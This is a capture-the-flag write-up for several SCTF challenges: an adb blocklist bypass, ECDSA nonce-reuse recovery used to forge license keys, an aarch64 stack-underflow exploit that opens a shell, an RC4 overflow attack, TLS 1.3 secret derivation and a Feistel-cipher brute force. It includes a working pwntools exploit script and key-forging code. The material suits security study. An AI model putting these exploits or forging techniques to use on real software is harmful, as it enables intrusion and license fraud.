Upon connecting, we try many commands that normally would work in adb, such as `adb shell` and `adb pull`. We can see that most adb commands are blocked, and in `adb pull` there is a list of blocked words from the path, including `./`, `../`, `flag`, `data`, and `tmp`. This seems to be very locked down, but one of our team members realized that `/proc/` was not blocked. Using this, we could access `/proc/self/exe` to retrieve the binary on the Android device that was interfacing with our adb.
Inspecting the binary in IDA, we notice a few interesting parts:
```c
if ( !(unsigned __int8)std::string_view::starts_with(&s1, "flag:") )
{
*a1 = -1;
return a1;
}
v21[0] = (__int64)&`vtable for'std::__function::__func<void (*)(android::base::unique_fd_impl<android::base::DefaultCloser>),std::allocator<void (*)(android::base::unique_fd_impl<android::base::DefaultCloser>)>,void ()(android::base::unique_fd_impl<android::base::DefaultCloser>)>
+ 16;
v21[1] = (__int64)flag_service;
v6 = v21;
v22 = v21;
create_service_thread(a1, "flag", v21);
v7 = (__int64)v22;
goto LABEL_58;
}
```
```c
WriteFdExactly((unsigned int)*a1, "An example of the flag looks like 'SCTF{FAKE_FLAG}'. Please enter the password.\n");
v1 = ReadLineFd(*a1, buf);
MD5(buf, v1, &v26);
v5 = s;
for ( i = 0LL; i != 16; ++i )
{
snprintf((_DWORD)v5, -1, v2, v3, *((unsigned __int8 *)&v26 + i), v4, v20);
v5 += 2;
}
if ( (unsigned __int8)android::base::ShouldLog(2LL, 0LL) )
{
v15 = (int *)__errno();
v16 = *v15;
android::base::LogMessage::LogMessage(v21, "system/core/adb/daemon/sctf_service.cpp", 65LL, 2LL, 0LL, 0xFFFFFFFFLL);
v17 = android::base::LogMessage::stream((android::base::LogMessage *)v21);
v18 = std::__put_character_sequence<char,std::char_traits<char>>(v17, "MD5: ", 5LL);
v19 = strlen(s);
std::__put_character_sequence<char,std::char_traits<char>>(v18, s, v19);
android::base::LogMessage::~LogMessage((android::base::LogMessage *)v21);
*v15 = v16;
}
v7 = *a1;
if ( *(_DWORD *)s ^ '3210' | *(_DWORD *)&s[3] ^ '6543' )
{
v8 = "Wrong..";
}
else
{
getFlag();
v8 = &getFlag(void)::FLAG;
}
```
It seems that, if we send a command to adb that starts with `flag:` and then send a value that fits with the criteria, we will get the flag back. The criteria in particular was sending a password whose MD5 hash began with 0123456 (in its hex digest). Since such custom commands are hard to send in normal adb, we used a python implementation [adbutils](https://github.com/openatx/adbutils/blob/5aa45fd72f9419025c83139fda25c82da63ceb11/adbutils/__init__.py) and modified some commands.
A function was added:
```python
@contextmanager
def _getflag(self, path):
c = self._adbclient._connect()
try:
c.send_command(":".join(["host", "transport", self._serial]))
c.check_okay()
print("here")
c.send_command("flag:")
c.check_okay()
print("here")
# {COMMAND}{LittleEndianPathLength}{Path}
#c.conn.send("01233456".encode("utf-8"))
print(c.read_string(80))
c.conn.send("aaaLnNkI\n".encode("utf-8"))
print(c.read_string(80))
return c
finally:
c.close()
```
And pull was rewritten:
```python
def pull(self, src: str, dst: str) -> int:
"""
Pull file from device:src to local:dst
Returns:
file size
"""
with open(dst, 'wb') as f:
size = 0
z = self._getflag(src)
print(z.read_string(4))
```
Then, in python we simply connect to the device, and send any pull request, which gets translated to the get flag. This gives us the flag.
`SCTF{Do_U_th1nk_th1s_1s_adb}`
## License
```
Friends of mine gave me theirs keys, so I can cheat and get the flag easily!
BHAWBGQ5-MB4IUR5V-26YFXZSW-MSHEVTDN-GZB4ED2N-KDHX7A5I
BJUWBPYH-MCVFRYIZ-ZV45N5EU-D5HL6K6H-6N4VCS6X-BIUQSUTR
Damn.. totally useless.. invalid keys!
```
The included exe is an installer application, which installs `SCTF2021FlagPass.exe` and some required libraries.

Entering the given keys into the application, gives us the response "Key expired". Patching out the logic for the date check, or turning back the time on the current computer, makes the keys valid again, but the flag is not correct:

When reversing the application, we recover the logic for how the keys are verified:
- The entered key is concatenated, and decoded as base32.
- The resulting data is 54 bytes:
-- 2 "verification bytes"
-- 4 bytes of epoch time
-- 48 bytes signature
The signature is checked in this code, which uses ECDSA to verify the signature against a hard-coded public key from the NIST P-192 curve. Only the first 6 bytes are actually hashed and signed.
```c=
bool __fastcall sub_405A10(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v5; // rsi
__int64 v6; // rbx
__int64 v7; // rdi
__int64 v8; // rdx
__int64 v9; // rdx
__int64 v10; // rdx
__int64 v11; // rdx
char v13[32]; // [rsp+20h] [rbp-40h] BYREF
__int64 v14; // [rsp+40h] [rbp-20h] BYREF
__int64 v15; // [rsp+48h] [rbp-18h] BYREF
__int64 v16; // [rsp+50h] [rbp-10h] BYREF
__int64 v17[5]; // [rsp+58h] [rbp-8h] BYREF
v5 = EC_KEY_new_by_curve_name(a4, a2, a3, 409LL);
v16 = BN_new(a4, v5);
v17[0] = BN_new(a4, v5);
BN_dec2bn(a4, v5, a49100172850672, &v16);
BN_dec2bn(a4, v5, a89461353827347, v17);
EC_KEY_set_public_key_affine_coordinates(a4, v5, v16, v5, v17[0]);
SHA1(a4, v5, 6LL, a4 + 48, v13);
v6 = ECDSA_SIG_new();
v14 = BN_new(a4, v5);
v15 = BN_new(a4, v5);
BN_dec2bn(a4, v5, a52414270819390, &v14);
BN_hex2bn(a4, v5, a4, &v15);
ECDSA_SIG_set0(a4, v5, v14, v6, v15);
v7 = (unsigned int)ECDSA_do_verify(a4, v5, 20LL, v13, v6, v5);
ECDSA_SIG_free(v7, v5, v8, v6);
BN_free(v7, v5, v9, v17[0]);
BN_free(v7, v5, v10, v16);
EC_KEY_free(v7, v5, v11, v5);
return (_DWORD)v7 == 1;
}
```
Looking closely at this function, three numbers are hardcoded. X, Y and ??.
```
4910017285067243285659645658183706496882752243738091681795
894613538273475752824630788065081050497548342550540448591
5241427081939067204984227503904086701023032271828334909509
```
And it turns out that the last number is R from the (R,S) pair used in the signature. This means that the keys have been generated using the same nonce, and now it suddenly makes sense why we were given two keys in the challenge text. When given two signatures using the same nonce, but different data has been signed, we can re-arrange the equations a bit and recover the nonce, and thus the private key.
```python=
gen = ecdsa.curves.NIST192p.generator
curve = ecdsa.curves.NIST192p.curve
order = ecdsa.curves.NIST192p.order
key1 = "BHAWBGQ5-MB4IUR5V-26YFXZSW-MSHEVTDN-GZB4ED2N-KDHX7A5I"
key2 = "BJUWBPYH-MCVFRYIZ-ZV45N5EU-D5HL6K6H-6N4VCS6X-BIUQSUTR"
keydec1 = b''.join(b32decode(e) for e in key1.split('-'))
keydec2 = b''.join(b32decode(e) for e in key2.split('-'))
h1 = int(sha1(keydec1[:6]).hexdigest(), 16)
h2 = int(sha1(keydec2[:6]).hexdigest(), 16)
x = 4910017285067243285659645658183706496882752243738091681795
y = 894613538273475752824630788065081050497548342550540448591
r = 5241427081939067204984227503904086701023032271828334909509
P = ecdsa.ellipticcurve.Point(curve, x, y)
s1 = 0x788A47B5D7B05BE656648E4ACC6D3643C20F4D50CF7F83A8
s2 = 0xAA58E119CD79D6F4941F4EBF2BC7F379514BD70A29095271
r_inv = inverse_mod(r, order)
h = (h1 - h2) % order
for k_try in (s1 - s2, s1 + s2, -s1 - s2, -s1 + s2):
k = (h * inverse_mod(k_try, order)) % order
secexp = (((((s1 * k) % order) - h1) % order) * r_inv) % order
if ((gen * secexp) == P):
signing_key = ecdsa.SigningKey.from_secret_exponent(secexp, curve=ecdsa.curves.NIST192p, hashfunc=sha1)
assert signing_key.get_verifying_key().pubkey.verifies(h1, Signature(r, s1))
break
```
The private key turns out to be `1325031087835349138965290766193329882829064869944584756462`. Now we can sign our own keys, but there's more to be learned from the application.
Another part of the key verification, is to check that
`msg[0] ^ msg[7] ^ msg[28] == 0 and msg[1] ^ msg[3] ^ msg[12] == 0`
in addition the signature matching. When the key is accepted, the program checks the current time of your computer, and compares it to the epoch stored inside the key. If the current time is greater, it prints "Key expired", but otherwise it pulls the string `TSRFHR6JXKTXUL4T4WY4FLPIAEHSXZC7T3FKRGVEVPEVGWBQ6KKQ====` from the process metadata. This string is decoded as base32, and XORed with the sha256-hash of the key (in its base32-decoded form). The result is shown as a message box, and all the keys we generated gave us random garbage. Though, we had generated keys for a few days into the future, or for the maximum epoch etc. Since the XOR-key-verification part includes bytes in the signature, it becomes a 48-bit brute force (with some heavy calculations!) to go through all the possible times, and this is too much.
When looking closely at the epoch time in the keys we already got, they show
`Tuesday, May 11, 2021 6:00:00` and `Tuesday, June 8, 2021 6:00:00`. These are pretty recent keys, and both of them were at the exact same time of the day. With this information, we can reduce the brute-force a bit by only checking day by day, but it's still a 16-bit brute force per day to find all the matching verification bytes. We now guess that the correct key must be set to expire during (or right after) the CTF, and start brute-forcing.
```python=
epoch = 1623132000 + 3600*24*(22+14+31)
for _ in range(100000):
epoch += (3600*24)
for wat in range(65536):
msg = long_to_bytes(wat,2) + long_to_bytes(epoch)
msg += signing_key.sign(msg, k=k)[24:]
if msg[0] ^ msg[7] ^ msg[28] == 0 and msg[1] ^ msg[3] ^ msg[12] == 0:
print(bxor(FLAG, sha256(msg).digest()))
```
after a few minutes, this prints the flag:
```
b'SCTF{3ll1p71c_k3y5_4r3_5m4ll3r!}'
BPYGCG2Q-MB6J65DX-PQLOWXV2-VORMM3ZI-XVZFGFCX-FM3IXFHA
3056 1629180000
```
## EchoFrag
This challenge is an aarc64 binary implementing a fragmented echoserver. Messages can be sent in fragments up to a size of 0x200. The bug in this challenge is that the size filed for memcpy can be set to a negative number. By experimenting with this, we found that memcpy actually writes out of bounds BEFORE the dest pointer when size is a very large integer (unsigned -0x10 for example). Using this write, we can overwrite the size metadata of the echo data struct on the stack. This lets the server read out of bounds on the stack, giving us the stack canary. However, it seems that aarch64 stores the return pointer on the top of the stack, meaning that we didn't really need the stack cookie leak and the memcpy buffer underflow allows us to overwrite the return address directly. Instead, we can use the infoleak to obtain PIE leak. It turns out the server is also using qemu-aarch64, so PIE addresses are constant, so we don't really need a second stage buffer underflow. The exploit is shown below:
```python
from pwn import *
import time
r = remote("echofrag.sstf.site", 31513)
#r = process("qemu-aarch64-static -B 0x1230000 -g 1234 -L /usr/aarch64-linux-gnu/ ./EchoFrag".split())
#r = process("qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./EchoFrag".split())
#pause()
pause()
pad = cyclic(0x200).index("aaezaafbaafca")
#print("PAD", pad)
lmaopayload = cyclic(200) + "\x00" + p16(0x700)
print(0x200 - len(lmaopayload)) # 309
#lmaopayload += "i"*(0x200 - len(lmaopayload))
lmaopayload += "i"*209 + "A"*30 + "i"*4 + "\x00"*3 + p64(0x4000000a28) + "A"*5 + "B"*30 + "AAAAiiiiii" + "B"*10
r.send("\x01" + p16(0x200) + lmaopayload)
time.sleep(0.1)
r.send("\x01" + p16(0x10) + "A"*0x14)
time.sleep(0.1)
r.send("\x00" + p16(0x10) + "ABCDEFGHIJKLMNOP")
a = ""
while len(a) < 1559:
a += r.recv(1559 - len(a))
#a = r.recvuntil("i"*8 + "\x00\x40\x00\x00\x00")
#print(len(a))
stack_cookie = u64(r.recv(8))
pie = u64(r.recv(32)[-8:])
print(hex(stack_cookie))
print(hex(pie))
time.sleep(0.1)
#r.send("\x00" + p16(0x200) + "A"*0x200)
#time.sleep(0.1)
#r.send("\x00" + p16(0x200) + "B"*0x200)
#time.sleep(0.1)
#pad = cyclic(0x200).index("aaaeaaafaaagaaahaaaiaaajaaak")
#sicer = "C"*pad + p64(stack_cookie) + p64(pie - 0x914 + 0xA30)*5
#sicer += "E"*(0x200-len(sicer))
#r.send("\x00" + p16(0x200) + sicer)
#time.sleep(0.1)
lmaopayload = "D"*200 + "\x00" + p16(0x700)
lmaopayload += "i"*(0x200 - len(lmaopayload))
r.send("\x01" + p16(0x200) + lmaopayload)
time.sleep(0.1)
r.send("\x00")
#r.send("\x00" + p16(0x10) + "C"*0x10)
#r.send("\x01" + p16(0x0) + "B"*0x5)
#r.send("\x01" + p16(0x100) + "A"*0x200)
#r.send("\x00" + p16(0x100) + "B"*0x100)
time.sleep(0.1)
r.sendline("echo 'hi'; ls")
r.interactive()
```
## Auth Code
This was a pwn+crypto challenge. Our ultimate code was to generate a auth code which started with "root" and we also had to leak the address of system in libc so that we could get a shell.
The binary also puts the address of the system in the .data section but we can't access it directly.
There are two bugs we exploit:
1) 256 byte overflow in BSS in get_name which allows us to overwrite the RC4 key with whatever want.
2) Null byte overflow in strncat which allows us to move the RC4 key just infront of the system ptr.
Since the program also allows us to control the amount of bytes used for the RC4 key schedule, we can implement a byte-by-byte bruteforce to recover the system ptr.
Then we can use the name overflow to replace the RC4 key with a known key so that we can make the auth_code be whatever we want.
Once that is done, we can get shell.
## Decrypt TLS
If you see the key share of `ClientHello`, it's just the generator point of `secp256r1`. Therefore, the pre-master secret will be the X coordinate of the key share of `ServerHello`.
Also, we read one of RFC documentations and found this:
```
0
|
v
PSK -> HKDF-Extract = Early Secret
|
+-----> Derive-Secret(., "ext binder" | "res binder", "")
| = binder_key
|
+-----> Derive-Secret(., "c e traffic", ClientHello)
| = client_early_traffic_secret
|
+-----> Derive-Secret(., "e exp master", ClientHello)
| = early_exporter_master_secret
v
Derive-Secret(., "derived", "")
|
v
(EC)DHE -> HKDF-Extract = Handshake Secret
|
+-----> Derive-Secret(., "c hs traffic",
| ClientHello...ServerHello)
| = client_handshake_traffic_secret
|
+-----> Derive-Secret(., "s hs traffic",
| ClientHello...ServerHello)
| = server_handshake_traffic_secret
v
Derive-Secret(., "derived", "")
|
v
0 -> HKDF-Extract = Master Secret
|
+-----> Derive-Secret(., "c ap traffic",
| ClientHello...server Finished)
| = client_application_traffic_secret_0
|
+-----> Derive-Secret(., "s ap traffic",
| ClientHello...server Finished)
| = server_application_traffic_secret_0
|
+-----> Derive-Secret(., "exp master",
| ClientHello...server Finished)
| = exporter_master_secret
|
+-----> Derive-Secret(., "res master",
ClientHello...client Finished)
= resumption_master_secret
```
Now we can calculate secret values.
To decrypt the stream, we used WireShark. You can set secret values on TLS by using `Preferences > Protocols > TLS > (Pre)-Master-Secret log filename`.
To calculate the secrets, we used [tls1.3](https://github.com/guyingbo/tls1.3) library.
```python=
from tls.key_schedule import *
import hashlib
shared_key = bytes.fromhex("4c498978adb0dbdff8435373188f1dc1bb6cb00bd4ddc4e666bb6be71f0acae0")
tlshash = TlsHash(hashlib.sha256)
key_scheduler = tlshash.scheduler(shared_key, None)
client_hello = bytes.fromhex("010000be0303000000000000000000000000000000000000000000000000000000000000000000000c13011302c02bc02cc02fc0300100008900000013001100000e7777772e676f6f676c652e636f6d000a000400020017000b0002010000230000000d00080006040308040401002b0005040304030300330047004500170041046b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c2964fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5")
server_hello = bytes.fromhex("02000077030334e2af2f7c45ae218aecc7dcee69147f7add13970df54bae0f8c5fe40c58bfb900130100004f0033004500170041044c498978adb0dbdff8435373188f1dc1bb6cb00bd4ddc4e666bb6be71f0acae0678c2fbe5b188849324b45e5102c80423dcc6d62c19acdbefab83e8922048852002b00020304")
chts = key_scheduler.client_handshake_traffic_secret(client_hello + server_hello)
shts = key_scheduler.server_handshake_traffic_secret(client_hello + server_hello)
print(chts.hex())
print(shts.hex())
server_msgs = bytes.fromhex("080000020000")
server_msgs += bytes.fromhex("0b000928000009240004cc308204c8308203b0a00302010202104e5a45d05e6c7c6f0300000000cc58e7300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3231303632383034313235315a170d3231303932303034313235305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d03010703420004cf1f75c6a61a50f0ff4f3256bc02c2b113bbd14ec25a79ef756fbedd25bd546006f52e01fe699f5c1d98c1b5c2e63746b7cf9b8005712f125525339e26dde010a382025d30820259300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e04160414ceef672ff40f1d98277d92804b69ec137eb40ceb301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820105060a2b06010401d6790204020481f60481f300f1007600f65c942fd1773022145418083094568ee34d131933bfdf0c2f200bcc4ef164e30000017a5108d7d10000040300473045022100c0f7e3f15fd957493c08a2155774b90bc8484a6889daacae451cbc7a1832af8e022056e91416776e9b96429b3098823b372463c0c2888861dc7012fc532aecb7efd30077009420bc1e8ed58d6c88731f828b222c0dd1da4d5e6c4f943d61db4e2f584da2c20000017a5108d8230000040300483046022100f18177394412068f423689aa1e0259ebe3559f4fb0e1ad855117c67fb9629582022100825d217b4a11e5f6af03e60469d93ec4a836ce19720db8892f2e9ceec5890b1d300d06092a864886f70d01010b0500038201010019fe86563cba0df66413f79b95eea55236fc98ae3f8286520a4c2c9ae6ee8bada071faedbbd0370269fd84463311b08163b2840be4372b194315d34128da511af6a7c0b3cacbd0ccd33a66304779fbb4f9fd9fe2ba174f4c42b0fc9f457c9e01d448e800daa9a3eafe3b16f8b2ea925e0a7b9a48a2f17e1d4af3053ef6df4e5d9bd99ea809cc3ded05752948b29a8be958528c0fcfe544319d575315a4c303e1887492a5f0987010041cec7b4e7b7fafaf9c13cff594ad9346c3d566dadb911b1d00b5831d4d0d14a238b256b8f25a208a55ecd6ed64268a4be491e5af6a2890f5e0d02f9e2a84d7fce00c497080da234924ac0ffceb238332a354310e54a268000000044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3137303631353030303034325a170d3231313231353030303034325a3042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f3130820122300d06092a864886f70d01010105000382010f003082010a0282010100d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac070203010001a38201333082012f300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e0416041498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e303506082b0601050507010104293027302506082b060105050730018619687474703a2f2f6f6373702e706b692e676f6f672f6773723230320603551d1f042b30293027a025a0238621687474703a2f2f63726c2e706b692e676f6f672f677372322f677372322e63726c303f0603551d20043830363034060667810c010202302a302806082b06010505070201161c68747470733a2f2f706b692e676f6f672f7265706f7369746f72792f300d06092a864886f70d01010b050003820101001a803e3679fbf32ea946377d5e541635aec74e0899febdd13469265266073d0aba49cb62f4f11a8efc114f68964c742bd367deb2a3aa058d844d4c20650fa596da0d16f86c3bdb6f0423886b3a6cc160bd689f718eee2d583407f0d554e98659fd7b5e0d2194f58cc9a8f8d8f2adcc0f1af39aa7a90427f9a3c9b0ff02786b61bac7352be856fa4fc31c0cedb63cb44beaedcce13cecdc0d8cd63e9bca42588bcc16211740bca2d666efdac4155bcd89aa9b0926e732d20d6e6720025b10b090099c0c1f9eadd83beaa1fc6ce8105c085219512a71bbac7ab5dd15ed2bc9082a2c8ab4a621ab63ffd7524950d089b7adf2affb50ae2fe1950df346ad9d9cf5ca0000")
server_msgs += bytes.fromhex("0f00004a04030046304402205d1f3737f08c217492ef72e9d7328115651daf2ccabb3b8f42f62537bad3d69702203c493db467b1f6464c4896012ba03c1e20f3bf3cfb085283fb1bf654ab3ff901")
server_msgs += bytes.fromhex("14000020d720382a75e18ae785e9ec5e73bd9294b87f96905ca93276e83c374049acf7d8")
cats = key_scheduler.client_application_traffic_secret_0(client_hello + server_hello + server_msgs)
sats = key_scheduler.server_application_traffic_secret_0(client_hello + server_hello + server_msgs)
print(cats.hex())
print(sats.hex())
```
The log file is here:
```
CLIENT_HANDSHAKE_TRAFFIC_SECRET 0000000000000000000000000000000000000000000000000000000000000000 039855c8494a0396c3aea6c5e282a47d7b960e852644a17dbb928414eabd1a4f
SERVER_HANDSHAKE_TRAFFIC_SECRET 0000000000000000000000000000000000000000000000000000000000000000 622475793c54a50229a596aaa8676301cbf794c7d3b0bb40b3fc3f3f76b19673
CLIENT_TRAFFIC_SECRET_0 0000000000000000000000000000000000000000000000000000000000000000 84dd0f8adb42ad7e8dc8cc373d8d3563095b75bef45681c3b14f45765d356117
SERVER_TRAFFIC_SECRET_0 0000000000000000000000000000000000000000000000000000000000000000 0b248f01a67943dbeac0712916560183089cfea734b295d45e609a7273eb57e2
```
After setting up, you can now decrypt packets. If you see the first HTTP packet, there's the flag:
```
Flag: SCTF{RFC8446:The_Transport_Layer_Security_(TLS)_Protocol_Version_1.3_63a3a9e1}
```
## Bomb Defuse
The format of the flag is `SCTF{012012012_012012012_012012012}`, which represents a 27-character ternary value. It's converted to `long`, and used as a key of this scheme:
```java=
package org.terror.bomb;
/* renamed from: org.terror.bomb.e */
public final class C0004e {
/* renamed from: a */
private final int f11a;
/* renamed from: b */
private final int f12b;
public C0004e(long j) { // Key setting
this.f11a = (int) (j >> 10);
this.f12b = this.f11a + ((int) j);
}
/* renamed from: a */
public final long mo8a(long j) { // Encrypt
int i = (int) (j >> 32);
int i2 = (int) j;
int i3 = 0;
while (i3 < 10) {
int i4 = this.f11a ^ i2;
int i5 = i4 + ((i4 << 2) | (i4 >>> -2)) + 1;
int i6 = i5 + ((i5 << 8) | (i5 >>> -8)) + this.f12b;
int i7 = i - (i6 + ((i6 << 14) | (i6 >>> -14)));
i3++;
i = i2;
i2 = i7;
}
return (((long) i) << 32) | (((long) i2) & 4294967295L);
}
}
```
The goal is to find a proper key that encrypts `"\x7b\xd8\x4f\x97\x31\x75\x68\x8c"` to `#!defuse`. So we wrote the solver like this:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, char *argv[])
{
int idx = atoi(argv[1]);
uint64_t t = 7625597484987LL; // 3 ** 27
uint64_t start = (t / 128) * idx;
uint64_t end = (t / 128) * (idx + 1);
printf("%lx %lx\n", start, end);
for (uint64_t key = start; key < end; key++)
{
// printf("%lx %lx\n", key, key & 0xFF);
if ((key & 0xFF) == 0) {
printf("%lx\n", key);
}
uint32_t L = 0x7bd84f97;
uint32_t R = 0x3175688c;
uint32_t key1 = (uint32_t)(key >> 10);
uint32_t key2 = key1 + ((uint32_t) key);
for (int round=0; round<10; round++)
{
uint32_t i4 = key1 ^ R;
uint32_t i5 = i4 + ((i4 << 2) | (i4 >> 30)) + 1;
uint32_t i6 = i5 + ((i5 << 8) | (i5 >> 24)) + key2;
uint32_t i7 = L - (i6 + ((i6 << 14) | (i6 >> 18)));
L = R;
R = i7;
}
if(L == 0x23216465)
{
if(R == 0x66757365)
{
printf("%lx\n", key);
break;
}
}
}
return 0;
}
```
We ran the program with a 120-core CPU. The right key is `0x2986e6fbe96`, and the flag is `SCTF{101002210_221000220_020220121}`.